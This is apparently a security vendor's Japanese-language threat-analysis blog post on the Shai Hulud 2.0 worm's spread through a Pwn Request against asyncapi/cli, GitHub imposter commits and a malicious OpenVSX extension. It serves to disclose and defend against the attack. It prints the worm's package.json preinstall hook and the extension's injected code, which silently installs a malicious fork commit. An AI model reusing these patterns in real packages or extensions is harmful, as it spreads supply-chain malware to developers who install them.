Aikido

Shai Hulud 2.0:未知の脅威が浮き彫りにする攻撃者の意図

執筆者
Charlie Eriksen

Shai Hulud 2.0の物語には、さらに多くの紆余曲折が含まれており、私たちはこれを強調したいと考えています。なぜなら、これが初めて複数のエコシステムに移行するのを目撃したからです。この調査の過程で、私たちは攻撃者が取った手順についてより深い洞察を提供する重要な新情報を発見しました。以下に、私たちの発見のいくつかをご紹介します。

  • このワームの最初の拡散は、攻撃者が悪意のあるバージョンの asyncapi/asyncapi-preview OpenVSX上の拡張機能.
  • この攻撃の最初の段階で、攻撃者はGitHubアカウントの名前を次のように変更しました UnknownWonderer1

S1ngularityおよびShai Huludインシデントについてジャーナリストと話す際、常に大きな未解決の疑問は、攻撃者の最終目標は何なのか?ということでした。何ヶ月もの間、推測と直感以外に手掛かりはほとんどありませんでした。

しかし、この小さな伝承にインスパイアされた詳細は、私が多くの研究者から聞いたある理論を裏付けています。それは、これらの攻撃者が単に楽しみや利益のために混乱を引き起こしているのではなく、メッセージを送ろうとしているということです。これは、エコシステムがあまりにも信頼されすぎ、自動化されすぎ、そしてすり抜けやすくなりすぎていると誰かが感じたときに現れる、「あなたの世界がいかに脆いかを見てみろ」という種類のエネルギーです。

それが真の動機であろうと、単なる見せかけの自己イメージであろうと、それはあまり重要ではありません。結果は同じです。つまり、拡散するだけでなく、私たちが信じたいよりもはるかに脆いシステムに対して、少しばかり過信しすぎているという不都合な真実に直面させるように設計された攻撃なのです。

The Unknown Wonderer

ユーザー名UnknownWonderer1は、ほぼ間違いなくDuneに登場するZensunni Wanderersへの言及です。彼らは何千年もの間、世界を漂流し、強大な者たちによって追いやられ、ほとんど気づかれることのなかった遊牧民でした。

時が経つにつれて、それらの放浪者たちはフレメンとなりました。彼らは、アラキスに生息する巨大なサンドワームであるシャイ=フルードと真に調和した唯一の文化でした。これを、文字通りシャイ=フルードと名付けられたマルウェアと組み合わせると、その関連性は偶然とは言えなくなります。それは、砂の上を移動する放浪者と、その下を静かに掘り進むワームという、デューンにインスパイアされた対称性を示しています。

Dune』の伝承では、Zensunniは公式な構造の外で生活し、その回復力が文明全体を再構築する瞬間まで見過ごされてきた人々を表します。このイメージが、現代のソフトウェアサプライチェーンをすり抜ける攻撃者にとって魅力的に映る理由を理解するのは難しくありません。

このアイデンティティを採用することで、攻撃者はエコシステム内で同様に目に見えない存在として振る舞い、リポジトリ、アカウント、パッケージ間を注意を引くことなく漂流します。

その枠組みは、潜在的な動機さえも示唆しています。それは、自分自身を部外者と見なし、脆弱または自己満足的と考えるシステムに挑戦する人物、あるいは自分を過小評価した環境で弱点を明らかにする放浪者を暗示しています。

そしてこの比喩は、マルウェアの挙動と不気味なほどよく合致しています。静かで執拗に、誰も確認しようとしない盲点から活動するのです。これらすべてが、ユーザー名が単なるランダムな選択ではなく、攻撃者が自身の役割と影響をどのように想像しているかを示すもののように感じさせます。The Zensunni Whipに帰せられるこのことわざは、何らかの関連性があり、不吉な予兆のように思えます。

一本の糸だけではマリオネットを操ることはできません

OpenVSXへの展開

2025年11月23日23:36 UTCに、の新しいバージョンが asyncapi/asyncapi-preview OpenVSX上の拡張機能が公開され、Shai Hulud 2.0ワームがインストールされる可能性がありました。その導入方法は非常に巧妙であり、さらに深く掘り下げる価値があります。攻撃がどのように展開されたかについて、段階的な概要を説明します。 

ステップ1 - データ抜き出し用フォークを準備します。

2025年11月22日16:06 UTCに、GitHub上の攻撃者vskpsfkbjsが、フォーク内でコミットを作成しました。 asyncapi/cli リポジトリ。 

https://github.com/asyncapi/cli/commit/9cbab46335c4c3fef2800a72ca222a44754e3ce1

その中で、彼らがGitHubアクションの1つで使用されているスクリプトを修正し、ローカルのgit設定を流出させているのがわかります。 webhook.site エンドポイント。 

リポジトリ外のフォークに属していると表示されていることに気づきましたか?これは重要です。なぜなら、これは「Pwn Request」の典型的な例だからです。それはリポジトリの攻撃者フォークにのみ存在しますが、後でその内部から実行されます。 asyncapi リポジトリ。

ステップ2 - 攻撃用PRを準備します。 

次に、2025年11月22日16:29 UTCに、攻撃者が自身のフォーク内に「~」というブランチを作成しているのが確認されます patch-1

https://github.com/asyncapi/cli/commit/6473466dd512125032cf2f8a28f391f8722d4901

ここで言及すべき点がいくつかあります:

  • ユーザー名が変更されたことに注目してください vskpsfkbjs to UnknownWonderer1。攻撃者がGitHubアカウント名を変更したようです。 
  • そのコミットはテキストの変更のみを含んでいるように見えます。

混乱しますよね?なぜテキストの変更だけなのでしょうか?その答えは、GitHub Actionsのワークフローがどのように実行されるかにあります。脆弱なGitHub Actionsはフォークからマージされるコードをチェックアウトするため、悪意のあるバージョンのファイルも取り込んでしまいます。.github/workflows/changeset-utils/index.js攻撃者がすでにデータ持ち出しペイロードを準備していたものです。この悪意のあるファイルは、公式リポジトリのコンテキスト内で実行され、GitHubのシークレットを外部に持ち出します。 

ステップ3 - データ抜き出し用PRを提出します。

次に、2025年11月22日16:38 UTCに、攻撃者はデータ漏洩ペイロードをトリガーするために公式リポジトリにPRを送信します。その証拠は、SonarQubeクラウド履歴にあります。

https://sonarcloud.io/summary/new_code?id=asyncapi_cli&pullRequest=1903

この時点で、彼らの悪意のあるペイロードは実行され、GitHubトークンを彼らのデータ持ち出し先に送信しているでしょう。

ステップ4 - 証拠を隠蔽します。

この時点で、攻撃者はリポジトリのGitHubトークンを外部に持ち出しているでしょう。そのわずか2分44秒後、UTC 16:40に、彼らは痕跡を隠すためにプルリクエストを閉じました。 

ステップ5 - ワームをデプロイします。

翌日の2025年11月23日22:56 UTCに、攻撃者はGitHub Actionsによって作成されたと思われるコミット(おそらく彼らのフォーク上で)を作成しました。そのコミットは、リポジトリ内のすべてのファイルを削除しました。ただし、 package.json そしてワームを追加します。 

https://github.com/asyncapi/cli/commit/2efa4dff59bc3d3cecdf897ccf178f99b115d63d

package.jsonファイルは、ワームを簡単に実行するために変更されます。

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

ステップ6 - 悪意のあるOpenVSX拡張機能をデプロイします。

最後に、悪意のあるOpenVSX拡張機能は、2025年11月23日23:36 UTCにデプロイされました。以下に、拡張機能のアクティベーションコードに挿入された悪意のあるコードを示します。

  console.log("Congratulations, your extension \"asyncapi-preview\" is now active!");
      try {
        0;
        const e = a.spawn("npm", ["install", "github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d"], {
          detached: true,
          stdio: "ignore"
        });
        if ("function" == typeof e.unref) {
          e.unref();
        }
        e.on("error", e => {});
      } catch (e) {}

これはそれほど疑わしく見えませんよね?公式リポジトリの特定のコミットからAsyncAPI CLIパッケージをインストールするだけの簡単なことのように見え、安全であるはずです。しかし、そうではありません。これは、公式リポジトリではなくフォークに存在していた上記の悪意のあるコミットを指しています。まだ混乱していますか? 

コミットの混乱?リポジトリの混乱? 

上記の「悪意のある」コードを初めて見たとき、私たちは驚愕しました。正当なGitHubリポジトリからパッケージをインストールすることが、なぜ安全でないのでしょうか?その答えは、GitHubのあまり知られていない特性であるImposter Commitsにあります。ご存知の通り、誰かがGitHubでリポジトリをフォークすると、フォーク内のコミットはコミットハッシュを介して元のリポジトリからもアクセスできます。何かおかしいという兆候は、GitHub UIでコミットを表示することによってのみ得られます:

この挙動は非常に直感的ではなく、セキュリティフレンドリーとは言えません。なぜなら、のようなコマンドを実行すると、 npm install asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63d、asyncapi/cliリポジトリからコードがインストールされることを期待します。もはや存在しないフォーク上のコミットではありません。この種の攻撃は リポジトリの混同 脆弱性。 

付録 - 詳細なGitHubタイムライン

タイムスタンプ(UTC) Δ タイム フェーズ アクション 意義
16:06:02 偵察 個人のフォーク上にfix-typosブランチを作成しました 初期設定。ユーザーは作業ブランチを準備します。
16:06:27 +0:25 偵察 フォークで作成されたPR #1(コメントデータから推測) 自身のレポジトリでのPRワークフローのテスト
16:07:16 +0:49 テスト フォーク上のPR #1をクローズしました PRメカニズムの実験
16:08:25 +1:09 テスト フォーク上のPR #1を再オープンしました。 継続的なワークフローテスト
16:09:06 +0:41 テスト masterブランチにプッシュ フォークのマスターへの直接プッシュ
16:09:21 +0:15 テスト PR #1を再度クローズしました テストサイクルの完了
16:19:10 +9:49 準備 masterへの2回目のプッシュ 変更とフォークを同期しています。
16:19:40 +0:30 自動化トリガー github-actions botがPRにコメントします 自動変更セットワークフローが有効化されました
16:29:26 +9:46 ステージング 新しい patch-1 ブランチにプッシュします。 アップストリーム提出用のペイロード準備
16:38:05 +8:39 実行 asyncapi/cli で PR #1903 をオープンしました 🚨 アップストリームへの貢献試行
16:40:49 +2:44 撤退 作者によってクローズされたPR #1903 証拠隠滅のためにPRを削除する
共有:

https://www.aikido.dev/blog/shai-hulud-2-0-unknown-wonderer-supply-chain-attack

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?

試してみてください Aikido 10万人以上が実践中
今すぐ始める
パーソナライズされたウォークスルーを入手する

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして、IDOR(内部データ操作脆弱性)と実際の攻撃経路を検出する

10万以上のチームに信頼されています

スキャンを開始
AIがアプリをペネトレーションテストする様子をご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。